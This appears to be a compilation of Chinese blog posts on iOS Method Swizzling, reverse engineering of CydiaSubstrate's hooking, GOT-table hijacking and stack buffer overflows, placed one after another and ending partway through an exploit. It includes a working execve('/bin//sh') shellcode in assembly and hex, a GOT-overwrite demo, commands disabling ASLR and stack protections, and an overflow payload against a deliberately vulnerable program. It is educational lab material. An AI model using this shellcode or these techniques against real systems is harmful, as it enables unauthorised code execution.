在这个例子中，虽然可以不用 Method Swizzling 方法，直接在 category 中重写 viewWillAppear: 方法也能达到目的。但是前者可以控制执行的顺序，以及可以用在非系统类中。而 category 中的方法是直接覆盖了原来的方法的，调用顺序是既定的，且只能用在系统类中。

注意事项

+load

一般来说，Method Swizzling 应该只在 +load 方法中完成。 在 Objective-C 的运行时中，每个类都会自动调用两个方法。+load 是在一个类被初始装载时调用的，+initialize 是在应用第一次调用该类的类方法或实例方法前调用的。在应用程序的一开始就调用执行，是最安全的，避免了很多并发、异常等问题。如果在 +initialize 初始化方法中调用，runtime 很可能死于一个诡异的状态。

dispatch_once

由于 swizzling 改变了全局的状态，所以需要确保在运行时，我们采用的预防措施是可用的。原子操作就是这样一个用于确保代码只会被执行一次的预防措施，就算是在不同的线程中也能确保代码只执行一次。Grand Central Dispatch 的 dispatch_once 满足了这些需求，所以，Method Swizzling 应该在 dispatch_once 中完成。

调用原始实现

由于很多内部实现对我们来说是不可见的，使用方法交换可能会导致代码结构的改变，而对程序产生其他影响，因此应该调用原始实现来保证内部操作的正常运行。

注意命名

这也是方法命名的规则，给需要转换的方法加前缀，以区别于原生方法。

类簇

Method Swizzling对NSArray、NSMutableArray、NSDictionary、NSMutableDictionary 等这些类簇是不起作用的。因为这些类簇类，其实是一种抽象工厂的设计模式。抽象工厂内部有很多其它继承自当前类簇的子类，抽象工厂类会根据不同情况，创建不同的抽象对象来进行使用，真正执行操作的并不是类簇本身。

那么要使它有作用，就需要使用类簇里面的真正的类，比如 objc_getClass("__NSArrayI")

Reference

[1] iOS黑魔法－Method Swizzling　http://www.jianshu.com/p/ff19c04b34d0
[2] iOS runtime实战应用：Method Swizzling　http://www.jianshu.com/p/3efc3e94b14c
[3] 黑魔法 - Method Swizzling　http://nucleardev.com/Method-Swizzling/
[4] Method Swizzling　http://nshipster.cn/method-swizzling/

在上一篇博文“Hook 原理之 CydiaSubstrate（一）：MSHookMessageEx”中，我分析了 MSHookMessageEx 以前的老代码，也就是 iOS5 版本。那么在这一篇文中，我将通过逆向来分析新版的 MSHookMessageEx。

两个版本的大部分代码和流程都差不多，主要区别在于，当 hook 的方法不是本类方法的时候，老版本的代码是通过嵌入机器码来获取 IMP，新版本是通过构建 trampoline（蹦床）页来获取 IMP。

如何调试

我们使用 CydiaSubstrate 框架对 APP 作 hook 操作的话，它是会在 /Library/MobileSubstarte/DynamicLibraries/ 目录下生成一个 .dylib 文件和一个对应的 plist 文件。这个 .dylib 文件将在 App 启动时被 dyld 加载到程序中，对指定类的方法进行 hook。

1. 在 iPhone 的 /Library/MobileSubstarte/ 目录下有一个 MobileSubstrate.dylib 文件，这只是一个链接文件，它的真身是在 /Library/Frameworks/CydiaSubstrate.framework/Librarys/ 目录下的 SubstrateBootstrap.dylib 文件。
2. 这个动态库会被加载入每个 App 进程中，然后调用同目录下的 SubstrateLoader.dylib 动态库。
3. 通过 SubstrateLoader.dylib 来启动上级目录下的 Mach-O 文件： CydiaSubstrate。关于 MSHookMessageEx 的代码即在这个可执行文件中。
4. 最后通过 CydiaSubstrate 来加载该 App 对应的，位于 /Library/MobileSubstarte/DynamicLibraries/ 目录下的 hook dylib 文件，从而完成 hook 操作。

这些动作都发生在 main 函数被调用之前。

程序启动后，不会再调用 MSHookMessageEx 函数，而是直接通过已被设置的 IMP 值跳到自定义的 hook dylib 中。因此我们要进入 CydiaSubstrate 可执行文件中动态调试 MSHookMessageEx 函数，就需要将断点下在第3步和第4步之间。

准备工作：自己构建的 App，hook 该 App 的 dylib。（这两个程序均已在越狱 iPhone 上安装好）

首先添加 Symbolic Breakpoint（符号断点）_objc_init，然后运行 App，当程序停在断点处时，在控制台输入 image list -o -f 命令，可以看见，与 Cydia 相关的文件，目前就只加载了 MobileSubstrate.dylib。

在 IDA 中打开它的真身 SubstrateBootstrap.dylib，可以看见自定义的函数只有一个 InitFunc_0，其余几个函数（exit、dlclose、dlopen、getenv）都是从外部引用的。而 InitFunc_0 函数也非常简单。主要是通过 dlopen 函数调用几个动态库，来作环境准备，其中我们要下断点的地方就在 dlopen 调用 SubstrateLoader.dylib 时：

我这边的版本是在0x3DF8地址处，加上 ASLR 偏移，用 br s -a xxx 命令在这个地方下一个断点，然后通过 si 命令进入 dlopen 函数，然后执行到 br x16 的地方，再 si 进入系统库（libdyld.dylib）中的 dlopen 函数。

dlopen 函数会通过 _dyld_func_lookup 找到对应的 dylib 的地址，然后在最后几行命令中的 blr x8 调用该动态库，我们直接在这条指令的下一条指令下断点，然后 c 运行程序跳到该断点。这时候再使用 image list -o -f 命令，就会发现 SubstrateLoader.dylib 动态库已经被加载起来了。

既然我们已经知道是通过 dlopen 来加载的程序，那么用 IDA 打开 SubstrateLoader.dylib 文件，引用 dlopen 的只有三处：

可以在这三处都下断点，然后看是哪一处启动了 CydiaSubstrate Mach-O 文件。结果证明是在 InitFunc_0_0 + 0x1AC8 处的 dlopen 调用了 CydiaSubstrate。

在控制台中下断点（SubstrateLoader.dylib 的 ASLR + 0x1AC8），运行程序，然后同样进入 dlopen，在blr x8 的下一条指令处下断点，当程序断在这里时，就会发现我们最终要调试的 CydiaSubstrate 文件终于被加载起来了。

然后在 IDA 里面找到 MSHookMessageEx 函数的起点地址（我的版本是0x5908），再下断点，然后运行，就到 MSHookMessageEx 函数里了。

以下是整个流程的动图：

逆向分析

异同点

通过阅读 IDA 中的汇编代码我们会发现，整个流程以及大部分的代码都与我上一篇博文中讲的老版本的源代码非常相似。

• sub_14130 函数是新增的，涉及到调用 “/usr/sbin/aslmanager”、”/usr/lib/system/libsystem_sandbox.dylib” 等动态库，貌似是在做沙盒权限检查（此点存疑）。
• sub_5E6C函数即是之前的 MSFindMethod 函数。
• sub_10000 函数则做的 if (!direct){…} 这段代码的工作。

很多部分大致相同，这些地方不做过多介绍，接下来主要讲解的是 sub_10000 函数。

sub_10000

在 IDA 中查看 sub_10000 函数的主要部分（ARM64）：

蓝绿色部分是正常执行流程，可以看到主要使用了三个函数： vm_allocate()、vm_deallocate()、vm_remap()。

这里涉及到一个 trampoline（蹦床）的概念。在很多时候，我们并不能直接执行我们想要的代码，而需要一个跳转代码或者跳转页面，经过一次或多次的跳转，最后跳到目的代码处执行。生成的这个跳转的代码或者页面就称之为 trampoline。

在本函数中，target_address 页面就是 trampoline page。

蹦床通常利用可写代码页（即具有可写、可执行权限）来实现。将指令写入 PROT_EXEC | PROT_WRITE 页面，需要的上下文信息直接包含在生成的代码中。

但是 iOS 中不允许 PROT_EXEC、 PROT_WRITE 这两种权限同时出现在页面中，也就是说不存在可写代码页（在我的测试中，ARMv7是可以的）。那么就需要使用一种替代机制来是实现 trampoline 中特定的上下文数据以及代码。

这种机制就是 vm_remap() + PC 相对寻址的组合。

vm_remap() 函数可以在新的地址中映射现有的代码页，并会同时保留页面保护权限（如果映射范围内的内存权限相同，则返回该权限；如果不同，则返回最大限制值）。也就是说，我们可以通过 vm_remap() 函数映射可执行的代码页面，或者可写的数据页面到新的页面地址处。

那么如何配置 trampoline 的数据呢？答案是通过 PC 相对寻址。PC（程序计数器）寄存器指示当前正在执行的指令的地址。我们将可写的数据页映射到可执行的代码页（trampoline page）旁边，然后使用 PC 相对寻址从相邻的可写数据页面加载 trampoline data，这样就达到了“可写”代码页的目的。

在本函数中也是这样做的，先通过 vm_allocate() 分配两页内存（0x8000），然后通过 vm_deallocate 释放第二页，作为 trampoline page，调用 vm_remap() 将 MSCloseTable 映射到已释放的第二页，最后在第一页（可写数据页）中填充需要的数据，返回第二页（可执行代码页）的首地址。

以下是我仿照着写的伪代码

vm_address_t address = 0x0;
kern_return_t kt;

/* Try to allocate two pages */
kt = vm_allocate (mach_task_self (), &address, PAGE_SIZE*2, 1);
if (kt != KERN_SUCCESS) {
   return ...;
}

/* Now drop the second half of the allocation to make room for the trampoline table */
vm_address_t target_address = address+PAGE_SIZE;
kt = vm_deallocate (mach_task_self (), target_address, PAGE_SIZE);
if (kt != KERN_SUCCESS) {
   return 0;
}

/* Remap the trampoline table to directly follow the address page */
vm_prot_t cur_prot;
vm_prot_t max_prot;

kt = vm_remap (mach_task_self (), &target_address, PAGE_SIZE, 0x0, FALSE, mach_task_self (), (vm_address_t) &MSCloseTable, FALSE, &cur_prot, &max_prot, VM_INHERIT_SHARE);

if (kt != KERN_SUCCESS) {
   return 0;
}

intp64_t **x20 = _class;//&_class+0x8 == &sel
*x20 + 0x8 = sub_5F20
address = x20;
address + 0x8 = (IMP)MSCloseTarget;
	
return target_address;

其中 MSCloseTable 的具体内容为：

MSCloseTarget 中只有三条命令，主要是执行加载、跳转的操作。将PC-0x4000 处的值加载到 x16 寄存器中（这里 IDA 自动将相对偏移-0x4000解释为 _MSCloseTarget，实际上我们只需要这个偏移值，执行时偏移值指向的是 address），然后再将[x16]中的值存入x16，[x16+0x8]中的值存入x17，然后跳到x17所指的地址处执行代码。在动态调试中我们会发现这三条命令再加 nop 指令填充了 trampoline page。

上图中，target_address = 0x105b7c000, address = 0x105b78000，x17 = (IMP)MSCloseTarget，[x16] = &(_class+sel)，[x16]+0x8 = sub_5F20。

也就是说，trampoline 的作用就是使得程序跳转到 MSCloseTarget 处执行，并把参数 _class，sel 的地址以及 sub_5F20 的地址存入 x16 寄存器、[x16]+0x8中。

MSCloseTarget 函数的主要作用是调用 sub_5F20 函数，并传入参数 _class 和 sel。

sub_5F20 函数则是直接调用 class_getMethodImplementation(_class, sel) 函数。

总的来说，sub_10000 函数的作用与老版本的一样，都是为了嵌入一段 class_getMethodImplementation(_class, sel) 的 JIT (just in time) 代码，使得程序在运行时才会执行这段代码，而不是在开始的时候就已经传参执行了。

为什么不使用原来的 if (!direct)

首先 if (!direct) 中的机器码只定义了 ARM 32位、i386、x86_64位，没有定义 ARM64 的嵌入指令。

再者，在 ARM64 中也不能使用这种先 mmap 一段可写的内存，然后将内存改为可执行的权限的方法。

上图来自2014年在 The Black Hat USA 会议中的一篇演讲 “Exploit unpatched iOS vulnerabilities for fun and profit”。

比如以下代码：

#import <sys/mman.h>

char shell[] = {0x10, 0x20, 0x70, 0x47}; // return 16;

- (void)viewDidLoad {
    void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (page == (void*)-1) {
        perror(NULL);
        return;
    }
    memcpy(page, shell, sizeof(shell));
    typedef int (*shell_execute)();
    shell_execute exe = (shell_execute)((int)page+1);
    mprotect(page, 4096, PROT_READ | PROT_EXEC);
    NSString *string = [NSString stringWithFormat:@"%d", exe()];
    NSLog(@"%@", string);
    [super viewDidLoad];
    // Do any additional setup after loading the view, typically from a nib.
}

在32位的 iOS 系统上，是可以正确运行并打印出16的 但在64位中，则会报错：EXE_BAD_ACCESS (code=257, address=…)

补充：测试后发现，在64位 iOS 越狱系统上也是可以使用 mprotect 修改权限的，至于为什么要使用蹦床页面，我猜测是为了更好的兼容性以及后续扩展。

Reference

[1] Implementing imp_implementationWithBlock()　http://landonf.org/2011/04/index.html
[2] pandamonia/libffi-iOS　https://github.com/pandamonia/libffi-iOS/blob/master/patches/ios
[3] WilliamLCobb/iNDS　https://github.com/WilliamLCobb/iNDS/issues/44
[4] 谁偷了我的热更新？Mono，JIT，iOS 　
http://www.cnblogs.com/murongxiaopifu/p/4278947.html

在程序从源代码到生成最终的可执行程序，会大体经历编译、汇编、链接三个阶段。编译将源代码转换成为汇编语言（例如.s后缀的文件），汇编阶段将汇编语言转换成机器码（例如.o文件）。链接阶段会合并多个目标文件（上一阶段生成的.o）以及静（动）态链接库中的代码数据等信息，修复文件之间的引用关系，最后生成可执行程序。

在链接这个过程中，静态链接库的代码和数据会被拷贝一份到可执行程序中。动态链接库则只是包含有引用关系，在程序运行时再通过动态链接加载。

动态链接库比如Linux中的.so，Windows中的.dll，macOS中的.dylib文件。静态链接库比如.lib、.a文件。

延迟绑定

正如由于我们在[链接]部分提到的，采用动态链接库的话，那么在二进制程序中，引用外部库函数的地方，都只是占位符，并不实际指向函数地址。那么在程序启动时，就需要花费大量的时间对函数进行连接，比如模块间函数引用的符号查找、重定位等，这样的做法非常影响程序的性能。而且也并不是程序的每一个分支，都会在运行过程中被使用到。没有运行到的这部分即使没有被链接，也不会有任何影响，反而消耗了程序的性能。

延迟绑定机制就是针对上述情况的缓解方案，当外部函数第一次被调用的时候，才会进行绑定（符号查找，重定位等链接）。如果函数在整个程序运行过程中，都没有被调用，那么它就不会进行绑定。这样的机制在保留动态链接的优势下，还可以加快程序的启动速度。

GOT表（Global Offset Table，全局偏移表）

GOT表位于.got和.got.plt Section

• .got Section 存放外部全局变量的GOT表，程序运行开始就会被加载进来，非延迟绑定，例如stdin/stderr等。
• .got.plt Section中存放的是外部函数的GOT表，例如printf，使用延迟绑定机制。

.plt Section （Procedure Linkage Table，程序链接表）对应存放的是.got.plt中所有外部函数对应的plt代码。

调试

我们用最简单的代码来认识一下延迟绑定的过程以及GOT表是如何工作的。

#include <stdio.h>
int main()
{
    puts("hello harpersu00!\n");
}

使用命令 gcc test.c -m32 将上面的示例编译成a.out可执行文件ELF格式。

然后使用 objdump -s -d a.out 命令查看各个section以及反汇编代码。

.plt section 如下所示：

Disassembly of section .plt:

080482d0 <.plt>:
 80482d0:	ff 35 04 a0 04 08    	pushl  0x804a004 //push link_map
 80482d6:	ff 25 08 a0 04 08    	jmp    *0x804a008 //jump to _dl_runtime_resolve
 80482dc:	00 00                	add    %al,(%eax)
	...

080482e0 <puts@plt>:
 80482e0:	ff 25 0c a0 04 08    	jmp    *0x804a00c //值为0x80482e6
 80482e6:	68 00 00 00 00       	push   $0x0
 80482eb:	e9 e0 ff ff ff       	jmp    80482d0 <.plt>

080482f0 <__libc_start_main@plt>:
 80482f0:	ff 25 10 a0 04 08    	jmp    *0x804a010
 80482f6:	68 08 00 00 00       	push   $0x8
 80482fb:	e9 d0 ff ff ff       	jmp    80482d0 <.plt>

.got.plt section :

Contents of section .got.plt:
 804a000 149f0408 00000000 00000000 e6820408  ................
 804a010 f6820408 

我们通过 gdb a.out 命令来调试程序，可以看得更清晰一点。

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x10,%esp
   0x08048416 <+9>:	movl   $0x80484c4,(%esp)
   0x0804841d <+16>:	call   0x80482e0 <puts@plt>  //在这个地址下断点
   0x08048422 <+21>:	leave  
   0x08048423 <+22>:	ret    
End of assembler dump.
(gdb) break *0x804841d  //下断点
Breakpoint 1 at 0x804841d
(gdb) display /3i $eip  //断点处打印$eip之后的3行内容
(gdb) r
Starting program: /xxx/a.out 

Breakpoint 1, 0x0804841d in main ()
1: x/3i $eip
=> 0x804841d <main+16>:	call   0x80482e0 <puts@plt>
   0x8048422 <main+21>:	leave  
   0x8048423 <main+22>:	ret    
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) si  //进入.plt section
0x080482e0 in puts@plt ()
1: x/3i $eip
=> 0x80482e0 <puts@plt>:	jmp    *0x804a00c
   0x80482e6 <puts@plt+6>:	push   $0x0
   0x80482eb <puts@plt+11>:	jmp    0x80482d0
(gdb) x/wx 0x804a00c //跳到puts@plt+0x6的位置
0x804a00c:	0x080482e6
(gdb) x/4wx 0x804a000 //查看.got.plt表的内容, 0x804a00c就是puts函数在got表中的地址
0x804a000:	0x08049f14	0xf7ffd900	0xf7fefea0	0x080482e6

.got.plt表中存放的是每个外部函数的地址，在延迟绑定之前，存放的是该外部函数在.plt表中的地址+0x6；在绑定之后，存放的是该函数的实际地址。

(gdb) b *0x08048422  //在puts函数调用之后下断点
Breakpoint 2 at 0x8048422
(gdb) c
Continuing.
hello harpersu00!

Breakpoint 2, 0x08048422 in main ()
1: x/3i $eip
=> 0x8048422 <main+21>:	leave  
   0x8048423 <main+22>:	ret    
   0x8048424:	xchg   %ax,%ax
(gdb) x/4wx 0x804a000 //.got表中的函数地址改变了，变成了函数的实际地址
0x804a000:	0x08049f14	0xf7ffd900	0xf7fefea0	0xf7e60a40
(gdb) x/wx 0x804a00c //puts函数在got表中的地址
0x804a00c:	0xf7e60a40
(gdb) p puts //puts函数的实际地址
$2 = {<text variable, no debug info>} 0xf7e60a40 <puts>

所以整个过程就是，

函数第一次被调用处 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址，即puts@plt+0x6 -> 跳转到.plt表的首地址，进行符号解析加载 -> 修改.got表中的函数地址为实际地址。

函数第二次调用 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址，函数的真实地址。

那么，如果我们修改了.got表中该函数偏移处的地址，就会跳转到我们设定的地址处执行啦，这就是GOT表劫持。

GOT表劫持实现

原理： 因为延迟绑定机制会回写GOT表，因此开启延迟绑定，则GOT表是可写的，GOT表所在的内存有w权限。如果漏洞利用可以改写GOT表，那么就可以劫持PC，跳转到自己写的code上取执行。

#include <stdio.h>
#include <stdlib.h>

void win() {
    puts("You Win!");
}

void main() {
    unsigned int addr, value;
    scanf("%x=%x", &addr, &value);
    *(unsigned int *)addr = value;
    printf("set %x=%x\n", addr, value);
}

同样使用 gcc test.c -m32 -o hijack_got 命令编译源文件，得到 hijack_got可执行文件。

[user@xx]# objdump -R hijack_got | grep printf
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
[user@xx]# objdump -d hijack_got | grep win
0804848d <win>:
[user@xx]# ./hijack_got 
0804a00c=0804848d
You Win!

上述示例通过将printf的.got表地址修改为win函数的地址，从而实现GOT表劫持。

缓解措施

通过编译选项 gcc -z,relro，可以设置重定位只读。这样在进入main()函数之前，所有的外部函数都会被解析，对于外部函数很多的程序，效率会明显降低。

绕过Relocation Read Only：

• 劫持开启该保护的动态库的GOT表，例如libc
• 改写函数指针或返回地址

程序被载入系统（开始运行）时，系统会分配给程序一段内存供程序保存信息以及使用。这段内存包含有多个区域，比如代码区，全局数据区，动态链接库区，堆区，栈区等等。栈区是用来存储程序的局部信息，保存了程序调用函数的运行时状态信息，比如函数参数、局部变量等。函数外部定义的变量在全局数据区，而程序运行过程中动态分配的内存，如使用malloc()、new()等函数分配的内存，都位于堆区。

当发生函数调用的时候，例如在main()函数中调用my_func()函数，其中main()被称为caller（调用者），my_func()被称为callee（被调用者）。当程序进行到调用my_func()这一步时，main()函数的运行时信息已经在栈中了。调用my_func()函数会将该函数的运行时信息压入栈顶。调用结束后，会弹出这部分信息，恢复到只有main()信息的状态。

对于函数来说，保存其运行时状态的那一部分栈被叫做该函数的栈帧。

函数my_func()的栈帧如下：

void my_func(char* str1, char *str2) {
    int a = 0;
    char buffer[4];
    strcpy(buffer, str1);
}

入栈顺序：

• 调用函数caller压入当前需要保存的寄存器信息，例如eax、ecx、edx等
• 对被调用函数callee（这里是my_func()函数）的参数，从右往左依次压入栈，即str2先入栈，str1再入栈以上部分都是作为caller的函数状态，之后入栈的数据才是作为callee的函数状态保存
• 压入返回地址（即caller调用callee的下一条指令）
• 调用函数caller的基地址寄存器ebp入栈（同时更新ebp寄存器的值为当前栈顶的地址，也就是ebp变成了callee的基地址）
• 声明的局部变量a，buffter依次入栈
• callee需要保存的寄存器信息，例如ebx、esi、edi等

函数调用结束时，栈会丢弃被调用函数callee的状态，并将栈顶恢复为调用函数caller时的状态。

• 依次将callee的寄存器信息，局部变量等弹出
• 将调用函数caller的基地址弹出，保存到ebp寄存器中（恢复了调用之前的栈基地址）
• 将返回地址从栈内弹出，保存到eip寄存器内（即将执行的下一条指令）
• 弹出保存的调用函数caller的寄存器信息，并保存到对应寄存器中

这样，调用函数caller的所有信息都恢复到调用之前了，接下来跳转到eip处继续执行程序指令。

利用栈溢出漏洞的核心思想是，通过对函数栈上状态信息的修改，使其数据溢出，将攻击指定覆盖返回地址。这样在函数调用栈恢复后，跳转到返回地址执行时，实际上是跳到我们的攻击指令处执行。

漏洞代码

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	char buffer[128];
	if (argc < 2) {
        printf("Please input one argument!\n");
        return -1;
    }
	strcpy(buffer, argv[1]);
	printf("argv[1]: %s\n", buffer);
	return 0;
}

为了能够进行最简单的栈溢出利用，我们需要在编译上面代码的时候加一些编译选项：-z execstack 关闭栈不可执行选项，-fno-stack-protector 关闭栈canary保护。

编译命令gcc -z execstack -fno-stack-protector test.c -m32，默认生成a.out可执行文件。

上述代码主要是通过strcpy函数来实现栈溢出的，strcpy是在执行拷贝的时候，是从低地址向高地址拷贝，而且是不会比较两个参数的size的，因此我们的buffer虽然长度为128个字节，但是如果输入的参数大于这个长度，比如136个字节，则会造成剩余的8个字节将会覆盖到ebp以及返回地址处，如下图：

这样我们就能控制程序跳转到什么地方执行了。

制作shellcode

shellcode简介

shellcode是指在漏洞利用中经常用的到一小段代码(code)。由于它经常被用来启动受害机器的shell，所以叫做shellcode。在本文中将会编写一个利用execve系统调用来启动一个shell的shellcode。

在上述代码中，可以有几种方式跳转到shellcode执行。

一种是将shellcode放到返回地址之前，即buffer[128]+ebp，共132字节里，return address设置跳到shellcode处，这种方法比较简单，缺点是有大小限制。

一种是将shellcode放到返回地址之后，如下图。但如果我们的漏洞不能溢出这么多字节，比如只能溢出16个字节，则无法采用这种方式。

还有一种方法又叫做jmp esp。将返回地址修改为内存中某处固定的jmp esp指令的地址，因为当返回地址出栈时，esp刚好指向返回地址之后的地址，跟上面的第二种方式异曲同工。这种方法的好处是，不需要知道当前栈的地址。（比较早的方法，现在已经不太常用了）

编写shellcode

前面提到，我们的shellcode是通过execve来启动一个shell。

int execve(const char *filename, char *const argv[], char *const envp[])；

因为我们的shellcode要求尽可能的短，因此我们调用的函数及参数为execve("/bin/sh", Null, Null)。

具体的shellcode会因为系统平台不同而不同，本文是在32位linux系统上编写执行的。

首先我们需要了解一下在32位linux平台上的系统调用约定syscall。

Syscall调用约定：
1. 系统调用号syscall number存放在eax中（execve是11，%eax=0xb）
2. 第1个参数保存在ebx中（%ebx=filename）
3. 第2个参数保存在ecx中 （%ecx=argv）
4. 第3个参数保存在edx中（%edx=envp=0）
5. 第4、5、6个参数分别保存在寄存器esi、edi、ebp中

xor %eax, %eax    ;eax 清零
pushl %eax        ;eax 入栈
push $0x68732f2f  ;"//sh" 入栈，两个/是为了凑4字节，让shellcode中没有0，对于Linux，/和//是一样的作用
push $0x6e69622f  ;"/bin" 入栈
movl %esp, %ebx   ;将esp值放入ebx
pushl %eax        ;将0压入栈
pushl %ebx        ;将"/bin//sh"的地址指针入栈
movl %esp, %ecx   ;将esp值放入ecx，即ecx=["/bin//sh", 0]，这里用xor %ecx, %ecx也可以
cltd              ;有符号展开，将32位的值展开为64位，eax -> edx:eax，即将edx也设为0，也是为了让shellcode中不含0值，因为0会截断shellcode
movb $0xb, %al    ;传入系统调用数
int $0x80         ;进入系统调用

以上是shellcode。

测试shellcode

我们需要对已经编写好的shellcode进行测试，看是否可以达到目的。

void shellcode() {
    __asm__(
"xor %eax, %eax\n\t"
"pushl %eax\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"movl %esp, %ebx\n\t"
"pushl %eax\n\t"
"pushl %ebx\n\t"
"movl %esp, %ecx\n\t"
"cltd\n\t"
"movb $0xb, %al\n\t"
"int $0x80\n\t"
);
}
int main() {
    shellcode();
    return 0;
}

编译并执行：

$gcc -m32 test.c -o shellcode
$./shellcode
sh-4.2#     #进入shell了

这里是采用内联（inline）汇编的方式测试的shellcode，也可以用汇编器as直接编译汇编代码，用pwntools工具可以直接编译shellcode等。

提取shellcode

一种比较原始的shellcode提取方法是采用objdump命令。

$objdump -d shellcode
...
080483dd <shellcode>:
 80483dd:	55                   	push   %ebp
 80483de:	89 e5                	mov    %esp,%ebp
 80483e0:	31 c0                	xor    %eax,%eax //从这里开始
 80483e2:	50                   	push   %eax
 80483e3:	68 2f 2f 73 68       	push   $0x68732f2f
 80483e8:	68 2f 62 69 6e       	push   $0x6e69622f
 80483ed:	89 e3                	mov    %esp,%ebx
 80483ef:	50                   	push   %eax
 80483f0:	53                   	push   %ebx
 80483f1:	89 e1                	mov    %esp,%ecx
 80483f3:	99                   	cltd   
 80483f4:	b0 0b                	mov    $0xb,%al
 80483f6:	cd 80                	int    $0x80
 ...

以上这段的机器码就是我们的shellcode 了，shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"。

测试（以下代码是通用的shellcode测试程序，其他的shellcode只需要修改shellcode数组中的字符串）：

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main() {
    void(*f)()=(void(*)())shellcode;  //强类型转换，将shellcode数组转换为函数指针
    f();
    return 0;
}

编译需加上栈可执行选项，gcc -z execstack -m32 test.c -o shellcode，因为shellcode是函数外部的变量，存储在全局字符数组中，位于.data section中，默认是不可执行的。所以需要加上选项-z execstack，开启栈/堆/数据段可执行。之后运行./shellcode可以正常进入shell，表明shellcode构造成功。

栈溢出简单利用

计算缓冲区长度

首先我们需要计算从缓冲区开头到栈上的返回地址长度，这样才能准确覆盖到返回地址。这里通过gdb下断点查看，也可以通过pwntools里的cyclic工具来计算缓冲区长度。

$gdb -q --args a.out XXX   #gdb 进入a.out，带上参数XXX
Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/scbox/Documents/a.out XXX
argv[1]: XXX
[Inferior 1 (process 41732) exited normally]
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) disassemble main #查看main的汇编代码
Dump of assembler code for function main:
   0x0804846d <+0>:	push   %ebp
   0x0804846e <+1>:	mov    %esp,%ebp
   0x08048470 <+3>:	and    $0xfffffff0,%esp
   0x08048473 <+6>:	sub    $0x90,%esp
   0x08048479 <+12>:	cmpl   $0x1,0x8(%ebp)
   0x0804847d <+16>:	jg     0x8048492 <main+37>
   0x0804847f <+18>:	movl   $0x8048564,(%esp)
   0x08048486 <+25>:	call   0x8048340 <puts@plt>
   0x0804848b <+30>:	mov    $0xffffffff,%eax
   0x08048490 <+35>:	jmp    0x80484c3 <main+86>
   0x08048492 <+37>:	mov    0xc(%ebp),%eax
   0x08048495 <+40>:	add    $0x4,%eax
   0x08048498 <+43>:	mov    (%eax),%eax
   0x0804849a <+45>:	mov    %eax,0x4(%esp)
   0x0804849e <+49>:	lea    0x10(%esp),%eax
   0x080484a2 <+53>:	mov    %eax,(%esp)
   0x080484a5 <+56>:	call   0x8048330 <strcpy@plt> #此处设置断点1
   0x080484aa <+61>:	lea    0x10(%esp),%eax
   0x080484ae <+65>:	mov    %eax,0x4(%esp)
   0x080484b2 <+69>:	movl   $0x804857f,(%esp)
   0x080484b9 <+76>:	call   0x8048320 <printf@plt>
   0x080484be <+81>:	mov    $0x0,%eax
   0x080484c3 <+86>:	leave  
   0x080484c4 <+87>:	ret    #设置断点2
End of assembler dump.
(gdb) b *0x080484a5
Breakpoint 1 at 0x80484a5
(gdb) b *0x080484c4
Breakpoint 2 at 0x80484c4
(gdb) r
Starting program: /home/scbox/Documents/a.out XXX

Breakpoint 1, 0x080484a5 in main ()
(gdb) x/2wx $esp #查看断点1处的esp，这里参数已经入栈了，0xffffd080是strcpy的第一个参数，即buffer的起始地址（main函数的局部变量）
0xffffd070:	0xffffd080	0xffffd361
(gdb) c
Continuing.
argv[1]: XXX

Breakpoint 2, 0x080484c4 in main ()
(gdb) x/wx $esp #断点2处的esp就是main函数的返回地址
0xffffd10c:	0xf7e122a3
(gdb) p/d 0xffffd10c-0xffffd080 #相减得到缓冲区长度（不包括返回地址）
$1 = 140

漏洞利用

为了降低漏洞利用的难度，我们先关闭系统的ASLR机制（地址随机化）。命令echo 0 > /proc/sys/kernel/randomize_va_space，将文件的值设置为0（这是临时设置，重启后无效，永久设置，需在/etc/sysctl.conf，添加kernel.randomize_va_space = value）。

[root@scbox-1596421650158 Documents]# gdb -q --args a.out $(python -c 'print "A" * 140 + "BBBB"')

Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/scbox/Documents/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
argv[1]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) x/10x $esp -160  #缓冲区开头地址为0xffffcff0
0xffffcfe0:	0x0804857f	0xffffcff0	0x00000001	0xf7ffd900
0xffffcff0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd000:	0x41414141	0x41414141
(gdb) x/10x $esp -20
0xffffd06c:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd07c:	0x42424242	0x00000000	0xffffd114	0xffffd120
0xffffd08c:	0xf7fd86b0	0x00000001

在shell中$()表示执行输入的命令，这里我们将a.out的输入参数变为140个A+4个B。可以看到程序发生了segmentation fault错误，就是因为返回地址变为了0x42424242。打印esp也可以看到我们的填充是成功了的。

